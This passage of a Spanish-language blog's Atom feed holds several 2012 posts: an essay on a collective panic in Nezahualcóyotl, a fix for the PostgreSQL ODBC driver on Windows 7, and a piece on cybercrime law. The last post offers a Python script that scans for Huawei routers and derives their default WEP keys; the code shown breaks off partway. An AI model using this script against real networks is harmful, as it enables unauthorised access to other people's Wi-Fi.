tomar a la fuerza&quot;.&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Para las 20:00 hrs, las calles se veían completamente abandonadas, solo unos cuantos grupos de vecinos comentando el porque del cierre de los negocios, para esta hora la histeria ya había cobrado tal dimensión que en muchas &lt;i&gt;&lt;u&gt;escuelas habían suspendido actividades temprano&lt;/u&gt;&lt;/i&gt; y sacado a los alumnos (a&amp;nbsp;petición&amp;nbsp;de grupos de padres alarmados y alarmistas) por una posible contingencia.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;i&gt;&lt;u&gt;Se declaró un toque de queda virtual&lt;/u&gt;&lt;/i&gt; puesto que el gobierno municipal no lo pronuncio oficialmente, aquí es donde las cosas se vuelven a salir de control, las personas alarmadas&amp;nbsp;intentan&amp;nbsp;desesperadamente&amp;nbsp;comunicarse con sus familiares que aún estaban trabajando o iban de regreso a sus hogares para advertir de la situación, las redes de comunicación en la zona &quot;colapsan&quot; (lo cual es prueba de que &quot;Todo México es territorio Telcel!&quot; en tanto no haya una emergencia porque entonces todo se va a la chingada), cabe aclarar que solo colapsaron las de la&amp;nbsp;compañía&amp;nbsp;mencionada (atnto fija como móvil) en el&amp;nbsp;paréntesis&amp;nbsp;otras compañías operaban con normalidad.&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
La &lt;b&gt;&lt;i&gt;falla en las comunicaciones&lt;/i&gt;&lt;/b&gt; se sumó entonces a la histeria colectiva y provoca que la&amp;nbsp;pólvora&amp;nbsp;se extienda al plano virtual, en un&amp;nbsp;ridículo&amp;nbsp;y exagerado uso de las &lt;b&gt;&lt;i&gt;redes sociales&lt;/i&gt;&lt;/b&gt;, Twitter fue&amp;nbsp;probablemente&amp;nbsp;el principal en donde se leían todos los rumores y además se&amp;nbsp;comenzó&amp;nbsp;a desvirtuar todo, con la llegada de la oscuridad de la noche los rumores se&amp;nbsp;incrementaron. El siguiente factor fue la &lt;b&gt;&lt;i&gt;falta de transporte&lt;/i&gt;&lt;/b&gt; hacia los municipios afectados, pues muchas de las unidades encargadas de brindar este servicio habían decidido suspender actividades, lo que derivo en el abuso en las tarifas por parte de los transportistas que&amp;nbsp;ofrecían&amp;nbsp;el servicio.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Para esta hora el estado de histeria era tal que ante el menor sonido parecido al de un arma de fuego (hay que señalar que se vende y queman fuegos artificiales diariamente en este municipio aunque esta prohibido) se hacían llamadas de emergencia a la policía del municipio, &lt;b&gt;&lt;i&gt;la falta de preparación de la policía para enfrentar una situación de este tipo&lt;/i&gt;&lt;/b&gt;, derivo en patrullajes constantes por las principales avenidas, lo que se interpreto nuevamente como &lt;i&gt;&quot;un supuesto ataque de los grupos antorchistas&quot;&lt;/i&gt;, pero saco a relucir la creencia generalizada de la gente sobre los nexos entre el PRI y el narco, ahora acusando a grupos del narco de participar apoyando a los antorchistas.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
No faltaron &lt;b&gt;&lt;i&gt;policías&lt;/i&gt;&lt;/b&gt; que precisamente por no saber como enfrentar una situación así &lt;b&gt;&lt;i&gt;dijeron a la gente que no salieran de sus casas&lt;/i&gt;&lt;/b&gt;, este tipo de respuesta nuevamente se&amp;nbsp;desvirtuó&amp;nbsp;y respaldo el supuesto toque de queda.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Me dí a la tarea de señalar los principales factores en la histeria colectiva vivida ese día, sin embargo las consecuencias todavía se sufrieron el día de ayer y hoy, muchos estudiantes que no&amp;nbsp;asistieron&amp;nbsp;a clases, comercios cerrados, etc.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
La suma de factores&amp;nbsp;tuvo&amp;nbsp;consecuencias terribles, la situación de inseguridad en el municipio de Nezahualcóyotl sumada a todos los factores mencionados fueron lo que hizo que en este municipio las consecuencias de los rumores se sufrieran aún más, sin embargo el análisis de los factores que observé también me hacen dudar de como fue que se desvirtuó todo el tema, el inicio si fue producto de la falta de información de la gente, sin embargo no creo que otros factores hayan sido obra del asar, aunque en un estado de histeria colectiva hasta donde entiendo la conciencia individual se pierde en favor de un ente más grande, personalmente puedo advertir señales que me hacen sospechar de una manipulación de la información a favor de desatar aún más la psicosis, si bien es cierto el comportamiento en masa no se puede predecir de manera definitiva, si creo que se puede calcular el alcance de las variables necesarias a fin de inducir a un estado de conciencia colectiva, no puedo afirmar que&amp;nbsp;existió&amp;nbsp;ni cuales sean las intenciones de provocarlo, quizá solo sea la preparación para algo más, o, ¿solo fue para medir la respuesta de la gente ante una situación de verdadera crisis?, adelantar conclusiones de mi parte sería tan irresponsable como propagar los rumores que existieron. Pero en mi&amp;nbsp;carácter&amp;nbsp;de observador social debo dejar una evidencia del hecho y mis especulaciones, si me lo preguntan yo habría añadido un par de ingredientes más para validar los rumores, después de todo en México gana quien las encuestas &quot;dicen&quot;, entonces solo basta &quot;decir&quot; para que algo sea verdad, no pierdan de vista el hecho de que habrá cambio de administración.&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://zosemu.blogspot.com/feeds/3037760747477817912/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://zosemu.blogspot.com/2012/09/psicosis-colectiva-o-experimento-social.html#comment-form' title='3 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/3037760747477817912'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/3037760747477817912'/><link rel='alternate' type='text/html' href='http://zosemu.blogspot.com/2012/09/psicosis-colectiva-o-experimento-social.html' title='Psicosis colectiva o experimento social?'/><author><name>ZoSemU?</name><uri>http://www.blogger.com/profile/04595520933327354402</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiopDsLJrQPgvwvDTu4ZVvWPLxqa8mQWobNyHIRpY9swarJPneaPMn23AQulQy1TzeUoeKcUiRlHtHza1kMc-INvu_KvHuaua_ZlcaDO-xEUavRtiH9YsG5JP0Bhq5O/s220/perfil.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8271906505880634956.post-1509903690194088956</id><published>2012-08-09T18:27:00.000-07:00</published><updated>2012-08-09T18:35:18.075-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="odbc postgres falla"/><category scheme="http://www.blogger.com/atom/ns#" term="postgresql en windows 7"/><category scheme="http://www.blogger.com/atom/ns#" term="problemas con odbc pgsql"/><category scheme="http://www.blogger.com/atom/ns#" term="windows"/><category scheme="http://www.blogger.com/atom/ns#" term="windows 7 x64 no conecta con postgres"/><title type='text'>Solución al problema con odbc pgsql (postgresql) en Windows 7 de 64 bits</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
Hace poco tuve que lidiar con la instalación de un &lt;a href=&quot;http://www.postgresql.org/ftp/odbc/versions/msi&quot; target=&quot;_blank&quot;&gt;driver ODBC para Postgresql&lt;/a&gt; desde Windows 7 (x64) la verdad es que normalmente no había tenido ningún problema para crear conexiones DSN, sin embargo por alguna extraña razón la versión &quot;Home Basic&quot; de este jodido sistema fue una piedrita en el zapato, como me dí cuenta de que es más común de lo que parece, decidí escribir este post a fin de compartir la solución con otros.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;El problema&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Según leí en la documentación en inglés, se deriva de que a &lt;i&gt;&lt;b&gt;&quot;los genios de Microsoft&quot;&lt;/b&gt;&lt;/i&gt; se les ocurrió dejar dos versiones del mismo programa encargado de generar los&amp;nbsp;orígenes DSN&amp;nbsp;ODBC (por aquello de las compatibilidades en el sistema)&amp;nbsp;concretamente es un programa llamado &quot;odbcad32.exe&quot;, hasta aquí tiene sentido y mi comentario&amp;nbsp;sarcástico respecto al tema parece fuera de lugar (pero no uso el sarcasmo a la ligera), el problema es que la versión del programa de 32 bits esta alojada en la carpeta &quot;C:\WINDOWS\SysWOW64&quot;, mientras que la versión de 64 bits de ese mismo programa esta alojada en la carpeta &quot;C:\WINDOWS\System32&quot;, por lo que el sistema se hace pelotas con la versión y se presenta un fastidio; otra cosa que suele suceder precisamente por esto es que si ustedes buscan cualquier origen desde la ruta normal &lt;i&gt;&quot;Archivos de Programa/Herramientas administrativas/Orígenes&amp;nbsp;de Datos ODBC&lt;/i&gt;&quot; no se muestran aquellos que están disponibles en realidad, ni siquiera los de &quot;&lt;i&gt;Microsoft Accces&lt;/i&gt;&quot;.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;La solución&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;ol&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;Ejecutar una terminal MS-DOS como administrador (&lt;i&gt;Botón de Inicio/Todos los programas/Accesorios/Símbolo del sistema // Botón derecho/Ejecutar como administrador&lt;/i&gt;)&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;Ejecutar desde ahí el instalador de la versión de 32 Bits de postgresql (&lt;i&gt;CD Ruta_a_donde_esta_el_msi &lt;span style=&quot;color: red;&quot;&gt;Enter&lt;/span&gt; psqlodbc.msi &lt;span style=&quot;color: red;&quot;&gt;Enter&lt;/span&gt;&lt;/i&gt;).&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;Ejecutar la versión de 32 bits del programa&amp;nbsp;&quot;odbcad32.exe&quot; ( &lt;i&gt;CD \WINDOWS\SysWOW64 &lt;span style=&quot;color: red;&quot;&gt;Enter&lt;/span&gt;&amp;nbsp;odbcad32.exe &lt;span style=&quot;color: red;&quot;&gt;Enter&lt;/span&gt;&lt;/i&gt;)&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;Configurar el DSN a nuestras necesidades (Nota: es importante distinguir el juego de caracteres que usa su servidor)&lt;/li&gt;
&lt;li style=&quot;text-align: justify;&quot;&gt;Finalmente guardamos los cambios y listo, debería de estar funcionando.&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Aún con problemas?&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
Cambiar a automático y arrancar el servicio (sólo como última medida):&lt;/div&gt;
&lt;div&gt;
&lt;ul&gt;
&lt;li&gt;Panel de Control/Herramientas Administrativas/Servicios/ Inicio de sesión secundario&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
SaluDoS!!&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zosemu.blogspot.com/feeds/1509903690194088956/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://zosemu.blogspot.com/2012/08/solucion-al-problema-con-odbc-pgsql.html#comment-form' title='16 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/1509903690194088956'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/1509903690194088956'/><link rel='alternate' type='text/html' href='http://zosemu.blogspot.com/2012/08/solucion-al-problema-con-odbc-pgsql.html' title='Solución al problema con odbc pgsql (postgresql) en Windows 7 de 64 bits'/><author><name>ZoSemU?</name><uri>http://www.blogger.com/profile/04595520933327354402</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiopDsLJrQPgvwvDTu4ZVvWPLxqa8mQWobNyHIRpY9swarJPneaPMn23AQulQy1TzeUoeKcUiRlHtHza1kMc-INvu_KvHuaua_ZlcaDO-xEUavRtiH9YsG5JP0Bhq5O/s220/perfil.jpg'/></author><thr:total>16</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8271906505880634956.post-4791730883286167842</id><published>2012-08-02T18:25:00.003-07:00</published><updated>2012-08-02T18:34:23.625-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="cibercrimen"/><category scheme="http://www.blogger.com/atom/ns#" term="ciberdelincuencia"/><category scheme="http://www.blogger.com/atom/ns#" term="leyes"/><category scheme="http://www.blogger.com/atom/ns#" term="opiniones"/><title type='text'>Castigos reales para delincuentes virtuales?</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
El presente post lo quiero dedicar a un amigo mio del que no mencionaré su nombre por cuestiones personales pero estoy seguro entenderá la alusión.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Cada vez es más frecuente oír decir &quot;me hackearon mi cuenta de hotmail&quot; (facebook, mail, etc), me robaron &quot;x cantidad de mi tarjeta&quot;, etc; habría que llamar a las cosas por su nombre y no pienso profundizar más en esto porque ya escribí un post al &lt;a href=&quot;http://zosemu.blogspot.com/2010/10/cuando-por-ignorancia-creamos.html&quot; target=&quot;_blank&quot;&gt;respecto&lt;/a&gt;, sin embargo siempre he sido muy puntual respecto al tema, alguien que te roba tu contraseña no es un hacker solo es un ladrón, no te hackean tu cuenta de hotmail, hasta ahora no conozco a alguien que pueda contar la hazaña de haber pasado los &lt;i&gt;n&lt;/i&gt; servidores de seguridad de hotmail hasta llegar a la base de datos y una vez adentro encontrar la forma de dumpear la base de datos y luego crackear la contraseña (para saber si les pintan el cuerno), y, si&amp;nbsp;existió,&amp;nbsp;seguramente le&amp;nbsp;pagaron&amp;nbsp;muy bien por su silencio. Entonces volviendo a lo mismo, un delincuente no ataca al servidor solo al eslabón más&amp;nbsp;débil, en este caso el usuario, de ahí que muchos siempre estemos chingando para que por lo menos los más cercanos a nosotros tomen las precauciones&amp;nbsp;mínimas.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
He criticado muy duramente a quienes haciendo uso de lo que saben han comprado cosas o servicios usando dinero virtual robado, uno de ellos me contó sus razones y aunque son humanamente validas no justifique sus actos, pues he conocido el hambre y pese a eso he mantenido mi ética. El problema detrás de la delincuencia en general no solo de la virtual, es la forma en la que la sociedad la acepta, me explico, tenemos por ejemplo el dicho aquel de &quot;en México, el que no tranza no avanza&quot;, que de un modo muy peculiar refleja la decadencia de nuestra sociedad. Además de exaltar las &quot;hazañas&quot; de los delincuentes con corridos, volar cabezas y matar a tus &quot;enemigos&quot; son temas de canciones pegajosas con las que crecen nuestros niños hoy en día.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Desde hace muchos años vivimos con el sueño de cobrar sin trabajar, la idea es reducir al mínimo posible el esfuerzo y con ello obtener el beneficio máximo, de ser posible conseguir mejores ganancias sin ensuciarnos las manos, para ello siempre se puede conseguir mano de obra barata, en un país en donde las oportunidades laborales son escasas, la ley de la oferta y la demanda pasan un precio muy alto, mucha oferta de mano de obra + poca oferta laboral = limitación de salarios a empleados finales + incremento en la ganancia de los empleadores.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
A pesar de eso no justifico la delincuencia, puede ser que la sociedad misma te enseñe la formula para convertirte en delincuente, pero la&amp;nbsp;decisión&amp;nbsp;final es siempre personal.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Para complicarlo tenemos un sistema judicial ineficiente, ¿de que sirve tener más&amp;nbsp;cárceles&amp;nbsp;y llenarlas?, si la privación de la libertad en México no basta como escarmiento, y, es más una escuela para criminales o sala de vacaciones, aunque para muchos resulte un infierno por consecuencia de ir a parar ahí siendo inocentes del delito que se les acusa, en un país en donde eres culpable hasta que demuestres lo contrario (lo que se demuestra con sobornos, la mayoría de las veces) no es raro que hayamos inventado el &quot;amparo&quot;.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
En materia de informática México comienza a despertar y cada vez hay más personas conectadas a la red (37.6 millones de acuerdo al INEGI), por lo que crece igualmente la oportunidad de dedicarse a ser un &quot;ciber-delincuente&quot; tiende a crecer, la legislación en esta materia no es clara y hay pocos renglones en el código penal federal al respecto, por lo que habría que pensar, ¿cuál será el mecanismo para hacer frente a un problema que ya es una realidad, pero que en unos años tendrá consecuencias severas?. Desgraciadamente la ignorancia de los políticos en este tema es y será un factor importante. ¿A caso, podemos esperar una reforma significativa y bien pensada teniendo un presidente que a penas ha leído un libro? (y no precisamente de seguridad informática), la responsabilidad de proteger nuestra información comienza con nosotros mismos y de acuerdo a la experiencia no podemos confiarla al gobierno y los políticos.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
El esbozo más grande hecho hasta ahora por los gobiernos imperialistas para perseguir y castigar a los &quot;ciber-delincuentes&quot; es solo contra aquellos que atentan contra la propiedad privada (de las grandes empresas por supuesto), sin embargo ya hay quienes&amp;nbsp;están&amp;nbsp;levantando las voces y realmente se han puesto a estudiar, han conseguido las bases legales para sustentar un caso basados no el &quot;delito informático&quot;, sino en el delito por si mismo; con algo de mala suerte se encuentren con uno de estos y terminen&amp;nbsp;enfriándose&amp;nbsp;unos años en una bien afamada&amp;nbsp;cárcel&amp;nbsp;mexicana.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
La aplicación de las leyes humanas en contra de una sociedad virtualizada se debe manejar con mucho cuidado o terminará siendo la misma mierda, y existirán amparos virtuales, si las leyes solo han de seguir protegiendo a las grandes empresas o a las personas que tengan el dinero suficiente para pagar por ellas, entonces es momento de aprender a defender nuestros derechos, al menos parece que la ciber-sociedad es un poco menos&amp;nbsp;apática&amp;nbsp;y abierta al cambio, y eso, al menos por ahora, me llena de esperanza.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
SaluDoS!!!&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zosemu.blogspot.com/feeds/4791730883286167842/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://zosemu.blogspot.com/2012/08/castigos-reales-para-delincuentes.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/4791730883286167842'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8271906505880634956/posts/default/4791730883286167842'/><link rel='alternate' type='text/html' href='http://zosemu.blogspot.com/2012/08/castigos-reales-para-delincuentes.html' title='Castigos reales para delincuentes virtuales?'/><author><name>ZoSemU?</name><uri>http://www.blogger.com/profile/04595520933327354402</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='30' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiopDsLJrQPgvwvDTu4ZVvWPLxqa8mQWobNyHIRpY9swarJPneaPMn23AQulQy1TzeUoeKcUiRlHtHza1kMc-INvu_KvHuaua_ZlcaDO-xEUavRtiH9YsG5JP0Bhq5O/s220/perfil.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8271906505880634956.post-6893533787136551327</id><published>2012-07-29T10:21:00.000-07:00</published><updated>2012-07-29T10:21:34.763-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="hawei"/><category scheme="http://www.blogger.com/atom/ns#" term="m2wkuvz"/><category scheme="http://www.blogger.com/atom/ns#" term="mac2wepkey"/><category scheme="http://www.blogger.com/atom/ns#" term="obtener contraseñas"/><category scheme="http://www.blogger.com/atom/ns#" term="routers"/><category scheme="http://www.blogger.com/atom/ns#" term="scripts"/><category scheme="http://www.blogger.com/atom/ns#" term="seguridad"/><category scheme="http://www.blogger.com/atom/ns#" term="vulnerabilidades"/><category scheme="http://www.blogger.com/atom/ns#" term="wep"/><category scheme="http://www.blogger.com/atom/ns#" term="wepkeys"/><category scheme="http://www.blogger.com/atom/ns#" term="zosemu"/><title type='text'>Automatizando mac2wepkey para trabajar desde una terminal Linux</title><content type='html'>&lt;div style=&quot;text-align: justify;&quot;&gt;
La idea de programar este script se debió principalmente a una&amp;nbsp;anécdota&amp;nbsp;en Pinotepa Nacional hace poco más de un año, la cosa es que había un router Huawei, pero el único cliente conectado estaba mediante cable, por lo que no había paquetes de datos válidos para romper la clave wep, así que algunos estaban intentando&amp;nbsp;inútilmente&amp;nbsp;inyectar paquetes en dicha red, cuando llegué al evento ya llevaban un buen rato con eso y no podían, por lo que hice uso de mi hermoso teléfono (en aquel entonces un i1 de Motorola) que bien equipado con Python, me permitió pronto conseguir la clave del router sin tener que&amp;nbsp;descifrarla, hacer inyección de paquetes ni nada por el estilo, en aquel momento me di cuenta del potencial de esta herramienta considerando dos factores, por una parte una vez que Telmex se casa con un fabricante, inunda el mercado con roters de esa compañía, segundo la ventaja de no tener que hacer inyección porque además hay que decirlo estos son un poco más resistentes que otros a la inyección (¿irónico no?), después de eso automatice el proceso para que detectará todas las redes y mostrará solo las claves de los que eran huawei basado en su dirección MAC, sin embargo como por ahora no tengo un teléfono con Android, me ví en la necesidad de adaptar el script a una terminal para automatizar el proceso, hasta el momento no he empleado las librerías adecuadas de Python porque recuerdo que alguien me había comentado que había un par de ellas dedicadas exclusivamente al uso de las redes inalámbricas (por lo que si alguien sabe cuales son le agradecería me lo haga saber); lo que hice fue un tanto más primitivo pero igualmente valido, consistió en usar la librería &quot;os&quot; para ejecutar comandos de sistema y leer la respuesta, el comando a usar era desde mi perspectiva &quot;iwlist interfaz scan&quot; que nos da información sobre las redes detectadas, el inconveniente es que se necesita ejecutar como root, pero eso no debe representar un problema, así que para evitar caritas tristes hice una función que detecte el usuario, nuevamente apelando a la terminal, por último el script ejecuta un &quot;iwlist interfaz scan | grep Cell&quot; para generar una lista de las direcciones MAC, verifica si son huawei y en caso de que si obtiene la clave por defecto, espero que les sirva, en algunos casos lo único que se necesita es una conexión no&amp;nbsp;especifica, así que eso podrá ayudarles, les dejo &lt;a href=&quot;http://zosemu.com/downloads/m2wkuvz.txt&quot; target=&quot;_blank&quot;&gt;aquí mismo&lt;/a&gt; el código por si quieren descargarlo y abajo por si quieran hacer un copy/paste y finalmente en &lt;a href=&quot;http://pastebin.com/64FkskTu&quot; target=&quot;_blank&quot;&gt;pastebin&lt;/a&gt; por si quieran incluirlo en algún otro sitio.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Antes de que lo olvide, la&amp;nbsp;sintaxis&amp;nbsp;de uso es python&amp;nbsp;m2wkuvz.py &lt;interfaz_inalámbrica&gt; (wlan0, wlan1, etc)&lt;/interfaz_inalámbrica&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;#!/usr/bin/env python&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;#-*- encoding: utf-8 -*-&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;# mac2wepkey Huawei HG520 by hochoa@websec.mx - 12/2010&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;# m2wkuvz (m2wkuvz ubuntu version) by hack@zosemu.com - 07/2012&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;import os, sys&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;def uso():&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; os.system(&quot;clear&quot;)&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; print &quot;Uso: python&quot;, sys.argv[0], &quot;Interfaz_Inalámbrica&quot;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;def hex2dec(s):&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; return int(s, 16)&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;def es_huawei(macx):&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; hard=[&quot;001882&quot;,&quot;001e10&quot;,&quot;0022a1&quot;,&quot;002568&quot;,&quot;00e0fc&quot;,&quot;04c06f&quot;,&quot;0819a6&quot;,&quot;1c1d67&quot;,&quot;202bc1&quot;,&quot;285fdb&quot;,&quot;286ed4&quot;,&quot;308730&quot;,&quot;404d8e&quot;,&quot;4c1fcc&quot;,&quot;4c5499&quot;,&quot;548998&quot;,&quot;54a51b&quot;,&quot;5c4ca9&quot;,&quot;6416f0&quot;,&quot;781dba&quot;,&quot;80fb06&quot;,&quot;84a8e4&quot;,&quot;cc96a0&quot;,&quot;F4c714&quot;]&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; for x in range(len(hard)):&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; n=x&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if macx==hard[n]: return True; break&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; return False&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&lt;br /&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;def wepkey(macz):&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;i style=&quot;background-color: #cccccc;&quot;&gt;&amp;nbsp; &amp;nbsp; i=0;mac=[]&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
